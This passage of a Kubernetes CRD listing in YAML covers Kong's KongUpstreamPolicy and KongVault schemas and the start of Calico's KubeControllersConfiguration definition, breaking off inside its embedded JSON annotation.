            When attached to a Service used in a Gateway API *Route rule with multiple BackendRefs, all of its Services MUST
            be configured with the same KongUpstreamPolicy. Otherwise, the controller will *ignore* the KongUpstreamPolicy.

            Note: KongUpstreamPolicy doesn't implement Gateway API's GEP-713 strictly.
            In particular, it doesn't use the TargetRef for attaching to Services and Gateway API *Routes - annotations are
            used instead. This is to allow reusing the same KongUpstreamPolicy for multiple Services and Gateway API *Routes.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: Spec contains the configuration of the Kong upstream.
              properties:
                algorithm:
                  description: |-
                    Algorithm is the load balancing algorithm to use.
                    Accepted values are: "round-robin", "consistent-hashing", "least-connections", "latency".
                  enum:
                  - round-robin
                  - consistent-hashing
                  - least-connections
                  - latency
                  type: string
                hashOn:
                  description: |-
                    HashOn defines how to calculate hash for consistent-hashing load balancing algorithm.
                    Algorithm must be set to "consistent-hashing" for this field to have effect.
                  properties:
                    cookie:
                      description: Cookie is the name of the cookie to use as hash
                        input.
                      type: string
                    cookiePath:
                      description: CookiePath is cookie path to set in the response
                        headers.
                      type: string
                    header:
                      description: Header is the name of the header to use as hash
                        input.
                      type: string
                    input:
                      description: |-
                        Input allows using one of the predefined inputs (ip, consumer, path).
                        For other parametrized inputs, use one of the fields below.
                      enum:
                      - ip
                      - consumer
                      - path
                      type: string
                    queryArg:
                      description: QueryArg is the name of the query argument to use
                        as hash input.
                      type: string
                    uriCapture:
                      description: URICapture is the name of the URI capture group
                        to use as hash input.
                      type: string
                  type: object
                hashOnFallback:
                  description: |-
                    HashOnFallback defines how to calculate hash for consistent-hashing load balancing algorithm if the primary hash
                    function fails.
                    Algorithm must be set to "consistent-hashing" for this field to have effect.
                  properties:
                    cookie:
                      description: Cookie is the name of the cookie to use as hash
                        input.
                      type: string
                    cookiePath:
                      description: CookiePath is cookie path to set in the response
                        headers.
                      type: string
                    header:
                      description: Header is the name of the header to use as hash
                        input.
                      type: string
                    input:
                      description: |-
                        Input allows using one of the predefined inputs (ip, consumer, path).
                        For other parametrized inputs, use one of the fields below.
                      enum:
                      - ip
                      - consumer
                      - path
                      type: string
                    queryArg:
                      description: QueryArg is the name of the query argument to use
                        as hash input.
                      type: string
                    uriCapture:
                      description: URICapture is the name of the URI capture group
                        to use as hash input.
                      type: string
                  type: object
                healthchecks:
                  description: Healthchecks defines the health check configurations
                    in Kong.
                  properties:
                    active:
                      description: Active configures active health check probing.
                      properties:
                        concurrency:
                          description: Concurrency is the number of targets to check
                            concurrently.
                          minimum: 1
                          type: integer
                        headers:
                          additionalProperties:
                            items:
                              type: string
                            type: array
                          description: Headers is a list of HTTP headers to add to
                            the probe request.
                          type: object
                        healthy:
                          description: Healthy configures thresholds and HTTP status
                            codes to mark targets healthy for an upstream.
                          properties:
                            httpStatuses:
                              description: HTTPStatuses is a list of HTTP status codes
                                that Kong considers a success.
                              items:
                                description: HTTPStatus is an HTTP status code.
                                maximum: 599
                                minimum: 100
                                type: integer
                              type: array
                            interval:
                              description: Interval is the interval between active
                                health checks for an upstream in seconds when in a
                                healthy state.
                              minimum: 0
                              type: integer
                            successes:
                              description: Successes is the number of successes to
                                consider a target healthy.
                              minimum: 0
                              type: integer
                          type: object
                        httpPath:
                          description: HTTPPath is the path to use in GET HTTP request
                            to run as a probe.
                          pattern: ^/.*$
                          type: string
                        httpsSni:
                          description: HTTPSSNI is the SNI to use in GET HTTPS request
                            to run as a probe.
                          type: string
                        httpsVerifyCertificate:
                          description: HTTPSVerifyCertificate is a boolean value that
                            indicates if the certificate should be verified.
                          type: boolean
                        timeout:
                          description: Timeout is the probe timeout in seconds.
                          minimum: 0
                          type: integer
                        type:
                          description: |-
                            Type determines whether to perform active health checks using HTTP or HTTPS, or just attempt a TCP connection.
                            Accepted values are "http", "https", "tcp", "grpc", "grpcs".
                          enum:
                          - http
                          - https
                          - tcp
                          - grpc
                          - grpcs
                          type: string
                        unhealthy:
                          description: Unhealthy configures thresholds and HTTP status
                            codes to mark targets unhealthy for an upstream.
                          properties:
                            httpFailures:
                              description: HTTPFailures is the number of failures
                                to consider a target unhealthy.
                              minimum: 0
                              type: integer
                            httpStatuses:
                              description: HTTPStatuses is a list of HTTP status codes
                                that Kong considers a failure.
                              items:
                                description: HTTPStatus is an HTTP status code.
                                maximum: 599
                                minimum: 100
                                type: integer
                              type: array
                            interval:
                              description: Interval is the interval between active
                                health checks for an upstream in seconds when in an
                                unhealthy state.
                              minimum: 0
                              type: integer
                            tcpFailures:
                              description: TCPFailures is the number of TCP failures
                                in a row to consider a target unhealthy.
                              minimum: 0
                              type: integer
                            timeouts:
                              description: Timeouts is the number of timeouts in a
                                row to consider a target unhealthy.
                              minimum: 0
                              type: integer
                          type: object
                      type: object
                    passive:
                      description: Passive configures passive health check probing.
                      properties:
                        healthy:
                          description: Healthy configures thresholds and HTTP status
                            codes to mark targets healthy for an upstream.
                          properties:
                            httpStatuses:
                              description: HTTPStatuses is a list of HTTP status codes
                                that Kong considers a success.
                              items:
                                description: HTTPStatus is an HTTP status code.
                                maximum: 599
                                minimum: 100
                                type: integer
                              type: array
                            interval:
                              description: Interval is the interval between active
                                health checks for an upstream in seconds when in a
                                healthy state.
                              minimum: 0
                              type: integer
                            successes:
                              description: Successes is the number of successes to
                                consider a target healthy.
                              minimum: 0
                              type: integer
                          type: object
                        type:
                          description: |-
                            Type determines whether to perform passive health checks interpreting HTTP/HTTPS statuses,
                            or just check for TCP connection success.
                            Accepted values are "http", "https", "tcp", "grpc", "grpcs".
                          enum:
                          - http
                          - https
                          - tcp
                          - grpc
                          - grpcs
                          type: string
                        unhealthy:
                          description: Unhealthy configures thresholds and HTTP status
                            codes to mark targets unhealthy.
                          properties:
                            httpFailures:
                              description: HTTPFailures is the number of failures
                                to consider a target unhealthy.
                              minimum: 0
                              type: integer
                            httpStatuses:
                              description: HTTPStatuses is a list of HTTP status codes
                                that Kong considers a failure.
                              items:
                                description: HTTPStatus is an HTTP status code.
                                maximum: 599
                                minimum: 100
                                type: integer
                              type: array
                            interval:
                              description: Interval is the interval between active
                                health checks for an upstream in seconds when in an
                                unhealthy state.
                              minimum: 0
                              type: integer
                            tcpFailures:
                              description: TCPFailures is the number of TCP failures
                                in a row to consider a target unhealthy.
                              minimum: 0
                              type: integer
                            timeouts:
                              description: Timeouts is the number of timeouts in a
                                row to consider a target unhealthy.
                              minimum: 0
                              type: integer
                          type: object
                      type: object
                    threshold:
                      description: |-
                        Threshold is the minimum percentage of the upstream’s targets’ weight that must be available for the whole
                        upstream to be considered healthy.
                      type: integer
                  type: object
                slots:
                  description: |-
                    Slots is the number of slots in the load balancer algorithm.
                    If not set, the default value in Kong for the algorithm is used.
                  maximum: 65536
                  minimum: 10
                  type: integer
              type: object
            status:
              description: Status defines the current state of KongUpstreamPolicy
              properties:
                ancestors:
                  description: |-
                    Ancestors is a list of ancestor resources (usually Gateways) that are
                    associated with the policy, and the status of the policy with respect to
                    each ancestor. When this policy attaches to a parent, the controller that
                    manages the parent and the ancestors MUST add an entry to this list when
                    the controller first sees the policy and SHOULD update the entry as
                    appropriate when the relevant ancestor is modified.

                    Note that choosing the relevant ancestor is left to the Policy designers;
                    an important part of Policy design is designing the right object level at
                    which to namespace this status.

                    Note also that implementations MUST ONLY populate ancestor status for
                    the Ancestor resources they are responsible for. Implementations MUST
                    use the ControllerName field to uniquely identify the entries in this list
                    that they are responsible for.

                    Note that to achieve this, the list of PolicyAncestorStatus structs
                    MUST be treated as a map with a composite key, made up of the AncestorRef
                    and ControllerName fields combined.

                    A maximum of 16 ancestors will be represented in this list. An empty list
                    means the Policy is not relevant for any ancestors.

                    If this slice is full, implementations MUST NOT add further entries.
                    Instead they MUST consider the policy unimplementable and signal that
                    on any related resources such as the ancestor that would be referenced
                    here. For example, if this list was full on BackendTLSPolicy, no
                    additional Gateways would be able to reference the Service targeted by
                    the BackendTLSPolicy.
                  items:
                    description: |-
                      PolicyAncestorStatus describes the status of a route with respect to an
                      associated Ancestor.

                      Ancestors refer to objects that are either the Target of a policy or above it
                      in terms of object hierarchy. For example, if a policy targets a Service, the
                      Policy's Ancestors are, in order, the Service, the HTTPRoute, the Gateway, and
                      the GatewayClass. Almost always, in this hierarchy, the Gateway will be the most
                      useful object to place Policy status on, so we recommend that implementations
                      SHOULD use Gateway as the PolicyAncestorStatus object unless the designers
                      have a _very_ good reason otherwise.

                      In the context of policy attachment, the Ancestor is used to distinguish which
                      resource results in a distinct application of this policy. For example, if a policy
                      targets a Service, it may have a distinct result per attached Gateway.

                      Policies targeting the same resource may have different effects depending on the
                      ancestors of those resources. For example, different Gateways targeting the same
                      Service may have different capabilities, especially if they have different underlying
                      implementations.

                      For example, in BackendTLSPolicy, the Policy attaches to a Service that is
                      used as a backend in a HTTPRoute that is itself attached to a Gateway.
                      In this case, the relevant object for status is the Gateway, and that is the
                      ancestor object referred to in this status.

                      Note that a parent is also an ancestor, so for objects where the parent is the
                      relevant object for status, this struct SHOULD still be used.

                      This struct is intended to be used in a slice that's effectively a map,
                      with a composite key made up of the AncestorRef and the ControllerName.
                    properties:
                      ancestorRef:
                        description: |-
                          AncestorRef corresponds with a ParentRef in the spec that this
                          PolicyAncestorStatus struct describes the status of.
                        properties:
                          group:
                            default: gateway.networking.k8s.io
                            description: |-
                              Group is the group of the referent.
                              When unspecified, "gateway.networking.k8s.io" is inferred.
                              To set the core API group (such as for a "Service" kind referent),
                              Group must be explicitly set to "" (empty string).

                              Support: Core
                            maxLength: 253
                            pattern: ^$|^[a-z0-9]([-a-z0-9]*[a-z0-9])?(\.[a-z0-9]([-a-z0-9]*[a-z0-9])?)*$
                            type: string
                          kind:
                            default: Gateway
                            description: |-
                              Kind is kind of the referent.

                              There are two kinds of parent resources with "Core" support:

                              * Gateway (Gateway conformance profile)
                              * Service (Mesh conformance profile, ClusterIP Services only)

                              Support for other resources is Implementation-Specific.
                            maxLength: 63
                            minLength: 1
                            pattern: ^[a-zA-Z]([-a-zA-Z0-9]*[a-zA-Z0-9])?$
                            type: string
                          name:
                            description: |-
                              Name is the name of the referent.

                              Support: Core
                            maxLength: 253
                            minLength: 1
                            type: string
                          namespace:
                            description: |-
                              Namespace is the namespace of the referent. When unspecified, this refers
                              to the local namespace of the Route.

                              Note that there are specific rules for ParentRefs which cross namespace
                              boundaries. Cross-namespace references are only valid if they are explicitly
                              allowed by something in the namespace they are referring to. For example:
                              Gateway has the AllowedRoutes field, and ReferenceGrant provides a
                              generic way to enable any other kind of cross-namespace reference.

                              <gateway:experimental:description>
                              ParentRefs from a Route to a Service in the same namespace are "producer"
                              routes, which apply default routing rules to inbound connections from
                              any namespace to the Service.

                              ParentRefs from a Route to a Service in a different namespace are
                              "consumer" routes, and these routing rules are only applied to outbound
                              connections originating from the same namespace as the Route, for which
                              the intended destination of the connections are a Service targeted as a
                              ParentRef of the Route.
                              </gateway:experimental:description>

                              Support: Core
                            maxLength: 63
                            minLength: 1
                            pattern: ^[a-z0-9]([-a-z0-9]*[a-z0-9])?$
                            type: string
                          port:
                            description: |-
                              Port is the network port this Route targets. It can be interpreted
                              differently based on the type of parent resource.

                              When the parent resource is a Gateway, this targets all listeners
                              listening on the specified port that also support this kind of Route(and
                              select this Route). It's not recommended to set `Port` unless the
                              networking behaviors specified in a Route must apply to a specific port
                              as opposed to a listener(s) whose port(s) may be changed. When both Port
                              and SectionName are specified, the name and port of the selected listener
                              must match both specified values.

                              <gateway:experimental:description>
                              When the parent resource is a Service, this targets a specific port in the
                              Service spec. When both Port (experimental) and SectionName are specified,
                              the name and port of the selected port must match both specified values.
                              </gateway:experimental:description>

                              Implementations MAY choose to support other parent resources.
                              Implementations supporting other types of parent resources MUST clearly
                              document how/if Port is interpreted.

                              For the purpose of status, an attachment is considered successful as
                              long as the parent resource accepts it partially. For example, Gateway
                              listeners can restrict which Routes can attach to them by Route kind,
                              namespace, or hostname. If 1 of 2 Gateway listeners accept attachment
                              from the referencing Route, the Route MUST be considered successfully
                              attached. If no Gateway listeners accept attachment from this Route,
                              the Route MUST be considered detached from the Gateway.

                              Support: Extended
                            format: int32
                            maximum: 65535
                            minimum: 1
                            type: integer
                          sectionName:
                            description: |-
                              SectionName is the name of a section within the target resource. In the
                              following resources, SectionName is interpreted as the following:

                              * Gateway: Listener name. When both Port (experimental) and SectionName
                              are specified, the name and port of the selected listener must match
                              both specified values.
                              * Service: Port name. When both Port (experimental) and SectionName
                              are specified, the name and port of the selected listener must match
                              both specified values.

                              Implementations MAY choose to support attaching Routes to other resources.
                              If that is the case, they MUST clearly document how SectionName is
                              interpreted.

                              When unspecified (empty string), this will reference the entire resource.
                              For the purpose of status, an attachment is considered successful if at
                              least one section in the parent resource accepts it. For example, Gateway
                              listeners can restrict which Routes can attach to them by Route kind,
                              namespace, or hostname. If 1 of 2 Gateway listeners accept attachment from
                              the referencing Route, the Route MUST be considered successfully
                              attached. If no Gateway listeners accept attachment from this Route, the
                              Route MUST be considered detached from the Gateway.

                              Support: Core
                            maxLength: 253
                            minLength: 1
                            pattern: ^[a-z0-9]([-a-z0-9]*[a-z0-9])?(\.[a-z0-9]([-a-z0-9]*[a-z0-9])?)*$
                            type: string
                        required:
                        - name
                        type: object
                      conditions:
                        description: Conditions describes the status of the Policy
                          with respect to the given Ancestor.
                        items:
                          description: Condition contains details for one aspect of
                            the current state of this API Resource.
                          properties:
                            lastTransitionTime:
                              description: |-
                                lastTransitionTime is the last time the condition transitioned from one status to another.
                                This should be when the underlying condition changed.  If that is not known, then using the time when the API field changed is acceptable.
                              format: date-time
                              type: string
                            message:
                              description: |-
                                message is a human readable message indicating details about the transition.
                                This may be an empty string.
                              maxLength: 32768
                              type: string
                            observedGeneration:
                              description: |-
                                observedGeneration represents the .metadata.generation that the condition was set based upon.
                                For instance, if .metadata.generation is currently 12, but the .status.conditions[x].observedGeneration is 9, the condition is out of date
                                with respect to the current state of the instance.
                              format: int64
                              minimum: 0
                              type: integer
                            reason:
                              description: |-
                                reason contains a programmatic identifier indicating the reason for the condition's last transition.
                                Producers of specific condition types may define expected values and meanings for this field,
                                and whether the values are considered a guaranteed API.
                                The value should be a CamelCase string.
                                This field may not be empty.
                              maxLength: 1024
                              minLength: 1
                              pattern: ^[A-Za-z]([A-Za-z0-9_,:]*[A-Za-z0-9_])?$
                              type: string
                            status:
                              description: status of the condition, one of True, False,
                                Unknown.
                              enum:
                              - "True"
                              - "False"
                              - Unknown
                              type: string
                            type:
                              description: type of condition in CamelCase or in foo.example.com/CamelCase.
                              maxLength: 316
                              pattern: ^([a-z0-9]([-a-z0-9]*[a-z0-9])?(\.[a-z0-9]([-a-z0-9]*[a-z0-9])?)*/)?(([A-Za-z0-9][-A-Za-z0-9_.]*)?[A-Za-z0-9])$
                              type: string
                          required:
                          - lastTransitionTime
                          - message
                          - reason
                          - status
                          - type
                          type: object
                        maxItems: 8
                        minItems: 1
                        type: array
                        x-kubernetes-list-map-keys:
                        - type
                        x-kubernetes-list-type: map
                      controllerName:
                        description: |-
                          ControllerName is a domain/path string that indicates the name of the
                          controller that wrote this status. This corresponds with the
                          controllerName field on GatewayClass.

                          Example: "example.net/gateway-controller".

                          The format of this field is DOMAIN "/" PATH, where DOMAIN and PATH are
                          valid Kubernetes names
                          (https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names).

                          Controllers MUST populate this field when writing status. Controllers should ensure that
                          entries to status populated with their ControllerName are cleaned up when they are no
                          longer necessary.
                        maxLength: 253
                        minLength: 1
                        pattern: ^[a-z0-9]([-a-z0-9]*[a-z0-9])?(\.[a-z0-9]([-a-z0-9]*[a-z0-9])?)*\/[A-Za-z0-9\/\-._~%!$&'()*+,;=:]+$
                        type: string
                    required:
                    - ancestorRef
                    - controllerName
                    type: object
                  maxItems: 16
                  type: array
              required:
              - ancestors
              type: object
          type: object
          x-kubernetes-validations:
          - message: Only one of spec.hashOn.(input|cookie|header|uriCapture|queryArg)
              can be set.
            rule: 'has(self.spec.hashOn) ? [has(self.spec.hashOn.input), has(self.spec.hashOn.cookie),
              has(self.spec.hashOn.header), has(self.spec.hashOn.uriCapture), has(self.spec.hashOn.queryArg)].filter(fieldSet,
              fieldSet == true).size() <= 1 : true'
          - message: When spec.hashOn.cookie is set, spec.hashOn.cookiePath is required.
            rule: 'has(self.spec.hashOn) && has(self.spec.hashOn.cookie) ? has(self.spec.hashOn.cookiePath)
              : true'
          - message: When spec.hashOn.cookiePath is set, spec.hashOn.cookie is required.
            rule: 'has(self.spec.hashOn) && has(self.spec.hashOn.cookiePath) ? has(self.spec.hashOn.cookie)
              : true'
          - message: spec.algorithm must be set to "consistent-hashing" when spec.hashOn
              is set.
            rule: 'has(self.spec.hashOn) ? has(self.spec.algorithm) && self.spec.algorithm
              == "consistent-hashing" : true'
          - message: Only one of spec.hashOnFallback.(input|header|uriCapture|queryArg)
              can be set.
            rule: 'has(self.spec.hashOnFallback) ? [has(self.spec.hashOnFallback.input),
              has(self.spec.hashOnFallback.header), has(self.spec.hashOnFallback.uriCapture),
              has(self.spec.hashOnFallback.queryArg)].filter(fieldSet, fieldSet ==
              true).size() <= 1 : true'
          - message: spec.algorithm must be set to "consistent-hashing" when spec.hashOnFallback
              is set.
            rule: 'has(self.spec.hashOnFallback) ? has(self.spec.algorithm) && self.spec.algorithm
              == "consistent-hashing" : true'
          - message: spec.hashOnFallback.cookie must not be set.
            rule: 'has(self.spec.hashOnFallback) ? !has(self.spec.hashOnFallback.cookie)
              : true'
          - message: spec.hashOnFallback.cookiePath must not be set.
            rule: 'has(self.spec.hashOnFallback) ? !has(self.spec.hashOnFallback.cookiePath)
              : true'
          - message: spec.healthchecks.passive.healthy.interval must not be set.
            rule: 'has(self.spec.healthchecks) && has(self.spec.healthchecks.passive)
              && has(self.spec.healthchecks.passive.healthy) ? !has(self.spec.healthchecks.passive.healthy.interval)
              : true'
          - message: spec.healthchecks.passive.unhealthy.interval must not be set.
            rule: 'has(self.spec.healthchecks) && has(self.spec.healthchecks.passive)
              && has(self.spec.healthchecks.passive.unhealthy) ? !has(self.spec.healthchecks.passive.unhealthy.interval)
              : true'
          - message: spec.hashOnFallback must not be set when spec.hashOn.cookie is
              set.
            rule: 'has(self.spec.hashOn) && has(self.spec.hashOn.cookie) ? !has(self.spec.hashOnFallback)
              : true'
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      categories:
      - kong-ingress-controller
      kind: KongUpstreamPolicy
      listKind: KongUpstreamPolicyList
      plural: kongupstreampolicies
      shortNames:
      - kup
      singular: kongupstreampolicy
    conditions:
    - lastTransitionTime: "2025-09-23T09:56:10Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-23T09:56:10Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1beta1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.16.1
    creationTimestamp: "2025-09-23T09:56:10Z"
    generation: 1
    name: kongvaults.configuration.konghq.com
    resourceVersion: "413060"
    uid: e2983a20-fbb2-42dd-8f05-b2bf5fade4cf
  spec:
    conversion:
      strategy: None
    group: configuration.konghq.com
    names:
      categories:
      - kong-ingress-controller
      kind: KongVault
      listKind: KongVaultList
      plural: kongvaults
      shortNames:
      - kv
      singular: kongvault
    scope: Cluster
    versions:
    - additionalPrinterColumns:
      - description: Name of the backend of the vault
        jsonPath: .spec.backend
        name: Backend Type
        type: string
      - description: Prefix of vault URI to reference the values in the vault
        jsonPath: .spec.prefix
        name: Prefix
        type: string
      - description: Age
        jsonPath: .metadata.creationTimestamp
        name: Age
        type: date
      - description: Description
        jsonPath: .spec.description
        name: Description
        priority: 1
        type: string
      - jsonPath: .status.conditions[?(@.type=="Programmed")].status
        name: Programmed
        type: string
      name: v1alpha1
      schema:
        openAPIV3Schema:
          description: |-
            KongVault is the schema for kongvaults API which defines a custom Kong vault.
            A Kong vault is a storage to store sensitive data, where the values can be referenced in configuration of plugins.
            See: https://docs.konghq.com/gateway/latest/kong-enterprise/secrets-management/
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: KongVaultSpec defines specification of a custom Kong vault.
              properties:
                backend:
                  description: |-
                    Backend is the type of the backend storing the secrets in the vault.
                    The supported backends of Kong is listed here:
                    https://docs.konghq.com/gateway/latest/kong-enterprise/secrets-management/backends/
                  minLength: 1
                  type: string
                config:
                  description: Config is the configuration of the vault. Varies for
                    different backends.
                  x-kubernetes-preserve-unknown-fields: true
                description:
                  description: Description is the additional information about the
                    vault.
                  type: string
                prefix:
                  description: |-
                    Prefix is the prefix of vault URI for referencing values in the vault.
                    It is immutable after created.
                  minLength: 1
                  type: string
              required:
              - backend
              - prefix
              type: object
            status:
              description: KongVaultStatus represents the current status of the KongVault
                resource.
              properties:
                conditions:
                  default:
                  - lastTransitionTime: "1970-01-01T00:00:00Z"
                    message: Waiting for controller
                    reason: Pending
                    status: Unknown
                    type: Programmed
                  description: |-
                    Conditions describe the current conditions of the KongVaultStatus.

                    Known condition types are:

                    * "Programmed"
                  items:
                    description: Condition contains details for one aspect of the
                      current state of this API Resource.
                    properties:
                      lastTransitionTime:
                        description: |-
                          lastTransitionTime is the last time the condition transitioned from one status to another.
                          This should be when the underlying condition changed.  If that is not known, then using the time when the API field changed is acceptable.
                        format: date-time
                        type: string
                      message:
                        description: |-
                          message is a human readable message indicating details about the transition.
                          This may be an empty string.
                        maxLength: 32768
                        type: string
                      observedGeneration:
                        description: |-
                          observedGeneration represents the .metadata.generation that the condition was set based upon.
                          For instance, if .metadata.generation is currently 12, but the .status.conditions[x].observedGeneration is 9, the condition is out of date
                          with respect to the current state of the instance.
                        format: int64
                        minimum: 0
                        type: integer
                      reason:
                        description: |-
                          reason contains a programmatic identifier indicating the reason for the condition's last transition.
                          Producers of specific condition types may define expected values and meanings for this field,
                          and whether the values are considered a guaranteed API.
                          The value should be a CamelCase string.
                          This field may not be empty.
                        maxLength: 1024
                        minLength: 1
                        pattern: ^[A-Za-z]([A-Za-z0-9_,:]*[A-Za-z0-9_])?$
                        type: string
                      status:
                        description: status of the condition, one of True, False,
                          Unknown.
                        enum:
                        - "True"
                        - "False"
                        - Unknown
                        type: string
                      type:
                        description: type of condition in CamelCase or in foo.example.com/CamelCase.
                        maxLength: 316
                        pattern: ^([a-z0-9]([-a-z0-9]*[a-z0-9])?(\.[a-z0-9]([-a-z0-9]*[a-z0-9])?)*/)?(([A-Za-z0-9][-A-Za-z0-9_.]*)?[A-Za-z0-9])$
                        type: string
                    required:
                    - lastTransitionTime
                    - message
                    - reason
                    - status
                    - type
                    type: object
                  maxItems: 8
                  type: array
                  x-kubernetes-list-map-keys:
                  - type
                  x-kubernetes-list-type: map
              required:
              - conditions
              type: object
          required:
          - spec
          type: object
          x-kubernetes-validations:
          - message: The spec.prefix field is immutable
            rule: self.spec.prefix == oldSelf.spec.prefix
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      categories:
      - kong-ingress-controller
      kind: KongVault
      listKind: KongVaultList
      plural: kongvaults
      shortNames:
      - kv
      singular: kongvault
    conditions:
    - lastTransitionTime: "2025-09-23T09:56:10Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-23T09:56:10Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1alpha1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.17.3
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"apiextensions.k8s.io/v1","kind":"CustomResourceDefinition","metadata":{"annotations":{"controller-gen.kubebuilder.io/version":"v0.17.3"},"name":"kubecontrollersconfigurations.crd.projectcalico.org"},"spec":{"group":"crd.projectcalico.org","names":{"kind":"KubeControllersConfiguration","listKind":"KubeControllersConfigurationList","plural":"kubecontrollersconfigurations","singular":"kubecontrollersconfiguration"},"preserveUnknownFields":false,"scope":"Cluster","versions":[{"name":"v1","schema":{"openAPIV3Schema":{"properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"type":"object"},"spec":{"description":"KubeControllersConfigurationSpec contains the values of the Kubernetes controllers configuration.","properties":{"controllers":{"description":"Controllers enables and configures individual Kubernetes controllers","properties":{"loadBalancer":{"description":"LoadBalancer enables and configures the LoadBalancer controller. Enabled by default, set to nil to disable.","properties":{"assignIPs":{"type":"string"}},"type":"object"},"namespace":{"description":"Namespace enables and configures the namespace controller. Enabled by default, set to nil to disable.","properties":{"reconcilerPeriod":{"description":"ReconcilerPeriod is the period to perform reconciliation with the Calico datastore. [Default: 5m]","type":"string"}},"type":"object"},"node":{"description":"Node enables and configures the node controller. Enabled by default, set to nil to disable.","properties":{"hostEndpoint":{"description":"HostEndpoint controls syncing nodes to host endpoints. Disabled by default, set to nil to disable.","properties":{"autoCreate":{"description":"AutoCreate enables automatic creation of host endpoints for every node. [Default: Disabled]","type":"string"},"createDefaultHostEndpoint":{"type":"string"},"templates":{"description":"Templates contains definition for creating AutoHostEndpoints","items":{"properties":{"generateName":{"description":"GenerateName is appended to the end of the generated AutoHostEndpoint name","type":"string"},"interfaceCIDRs":{"description":"InterfaceCIDRs contains a list of CIRDs used for matching nodeIPs to the AutoHostEndpoint","items":{"type":"string"},"type":"array"},"labels":{"additionalProperties":{"type":"string"},"description":"Labels adds the specified labels to the generated AutoHostEndpoint, labels from node with the same name will be overwritten by values from the template label","type":"object"},"nodeSelector":{"description":"NodeSelector allows the AutoHostEndpoint to be created only for specific nodes","type":"string"}},"type":"object"},"type":"array"}},"type":"object"},"leakGracePeriod":{"description":"LeakGracePeriod is the period used by the controller to determine if an IP address has been leaked.\nSet to 0 to disable IP garbage collection. [Default: 15m]","type":"string"},"reconcilerPeriod":{"description":"ReconcilerPeriod is the period to perform reconciliation with the Calico datastore. [Default: 5m]","type":"string"},"syncLabels":{"description":"SyncLabels controls whether to copy Kubernetes node labels to Calico nodes. [Default: Enabled]","type":"string"}},"type":"object"},"policy":{"description":"Policy enables and configures the policy controller. Enabled by default, set to nil to disable.","properties":{"reconcilerPeriod":{"description":"ReconcilerPeriod is the period to perform reconciliation with the Calico datastore. [Default: 5m]","type":"string"}},"type":"object"},"serviceAccount":{"description":"ServiceAccount enables and configures the service account controller. Enabled by default, set to nil to disable.","properties":{"reconcilerPeriod":{"description":"ReconcilerPeriod is the period to perform reconciliation with the Calico datastore. [Default: 5m]","type":"string"}},"type":"object"},"workloadEndpoint":{"description":"WorkloadEndpoint enables and configures the workload endpoint controller. Enabled by default, set to nil to disable.","properties":{"reconcilerPeriod":{"description":"ReconcilerPeriod is the period to perform reconciliation with the Calico datastore. [Default: 5m]","type":"string"}},"type":"object"}},"type":"object"},"debugProfilePort":{"description":"DebugProfilePort configures the port to serve memory and cpu profiles on. If not specified, profiling\nis disabled.","format":"int32","type":"integer"},"etcdV3CompactionPeriod":{"description":"EtcdV3CompactionPeriod is the period between etcdv3 compaction requests. Set to 0 to disable. [Default: 10m]","type":"string"},"healthChecks":{"description":"HealthChecks enables or disables support for health checks [Default: Enabled]","type":"string"},"logSeverityScreen":{"description":"LogSeverityScreen is the log severity above which logs are sent to the stdout. [Default: Info]","type":"string"},"prometheusMetricsPort":{"description":"PrometheusMetricsPort is the TCP port that the Prometheus metrics server should bind to. Set to 0 to disable. [Default: 9094]","type":"integer"}},"required":["controllers"],"type":"object"},"status":{"description":"KubeControllersConfigurationStatus represents the status of the configuration. It's useful for admins to\nbe able to see the actual config that was applied, which can be modified by environment variables on the\nkube-controllers process.","properties":{"environmentVars":{"additionalProperties":{"type":"string"},"description":"EnvironmentVars contains the environment variables on the kube-controllers that influenced\nthe RunningConfig.","type":"object"},"runningConfig":{"description":"RunningConfig contains the effective config that is running in the kube-controllers pod, after\nmerging the API resource with any environment variables.","properties":{"controllers":{"description":"Controllers enables and configures individual Kubernetes controllers","properties":{"loadBalancer":{"description":"LoadBalancer enables and configures the LoadBalancer controller. Enabled by default, set to nil to disable.","properties":{"assignIPs":{"type":"string"}},"type":"object"},"namespace":{"description":"Namespace enables and configures the namespace controller. Enabled by default, set to nil to disable.","properties":{"reconcilerPeriod":{"description":"ReconcilerPeriod is the period to 